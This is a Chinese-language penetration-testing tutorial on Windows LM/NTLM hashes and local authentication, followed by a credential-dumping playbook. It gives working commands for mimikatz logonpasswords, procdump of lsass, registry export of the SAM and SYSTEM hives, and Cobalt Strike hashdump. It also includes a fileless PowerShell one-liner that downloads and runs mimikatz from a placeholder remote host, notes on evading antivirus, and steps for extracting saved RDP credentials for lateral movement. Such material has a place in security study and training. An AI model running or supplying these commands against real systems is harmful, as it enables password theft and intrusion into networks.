Windows系统使用两种方法对用户的密码进行哈希处理,他们分别是LAN Manager(LM)哈希和NT LAN Manager(NTML)哈希。
现在已经有了更新的NTLMv2以及Kerberos验证体系。
Windows的系统密码hash默认情况下一般由两个部分组成:第一部分是LM-hash,第二部分是NTLM-hash
windows加密过的密码口令,我们称为hash,windows的系统密码hash默认情况下一般由两个部分组成:第一部分是LM-hash,第二部分NTLM-hash。
WINDOWS系统下hash密码格式:
用户名称:RID:LM-HASH值:NT-HASH值
Windows内网协议学习NTLM篇之NTLM基础介绍-安全客 - 安全资讯平台
可参考以上文章进行详细的学习
Windows的认证包括三个部分:
- 本地认证:用户直接操作计算机登录账户
- 网络认证:远程连接到工作组中的某个设备(远程连接ftp,文件共享)
- 域认证:登录到域环境中的某个设备
Windows本地认证
1、用户输入密码
2、系统收到密码后将用户输入的密码计算成NTLM HASH
3、与sam数据库(%SystemRoot%\System32\config\sam)中该用户对比
4、匹配则登录成功,不匹配则登录失败
NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后存储在电脑中
本地认证中用来处理用户输入密码的进程位lsass.exe,密码会在这个进程中明文保存,该进程将密码计算成NTLM hash与sam进行对比,们使用mimikatz来获取的明文密码,便是在这个进程中读取到的
Windows密码凭证获取
几种windows本地hash值获取和破解详解 - SecPulse.COM | 安全脉搏
获取凭证工具:
1、Mimikatz
抓取明文密码:
- mimikatz # log
- mimikatz # privilege::debug
- mimikatz # sekurlsa::logonpasswords
使用mimikatz抓取密码
mimikatz.exe "log" "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit
2、Powershell脚本
Powershell远程加载mimikatz脚本
先介绍一下powershell木马最常用的方式,一般都为远程下载然后执行的方法,特点就是:直接内存运行,无文件落地。
https://www.cnblogs.com/chen-w/p/14726549.htmlhttps://www.cnblogs.com/chen-w/p/14726549.html
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))”
IEX:指内存运行
new-object net.webclient:创建一个客户端对象,远程加载mimikatz
3、Ophcrack
我们可以 使用ophcrack工具配合彩虹表自己破解。
4、Procdump+Mimikatz
Procdump下载: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
procdump lsass进程导出
- FOR 32bits:procdump.exe -accepteula -ma lsass.exe lsass.dmp
- FOR 64bits:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
使用mimikatz还原密码:
- sekurlsa::minidump lsass.dmp
- sekurlsa::logonPasswords full
5、注册表导出hash
- reg save HKLM\SYSTEM SYSTEM.hiv
- reg save HKLM\SAM sam.hiv
- reg save HKLM\SECURITY security.hiv
- mimikatz.exe "log" "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
再使用MD5进行查询MD5免费在线解密破解_MD5在线加密-SOMD5
这方法还是比较好的,可以绕过杀毒软件检测。
6、Meterpreter获取hash
7、Cobaltstrike获取hash
- hashdump
-
- logonpasswords
-
- mimikatz sekurlsa::logonpasswords
其他内容:
POWERSHELL脚本获取RDP连接记录
https://github.com/3gstudent/List-RDP-Connections-History
在获取内网机器管理员权限后,查看是否有保存到本地的RDP连接密码,对保存到本地的RDP连接密码进行解密, 解密成功后可使用此凭据继续横向移动。
powershell -exec bypass -f 1.ps1
如果直接运行powershell则会直接报错
本地RDP连接解密
- 用Mimikatz解密
查看本地机器本地连接过的目标机器:
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
- 查看本地用户此目录下是否存有RDP密码文件
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
PPTP口令获取
PPTP:点对点隧道协议,可以使远程用户通过拨入ISP访问企业内网。
在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透。
需要拿到目标系统管理员权限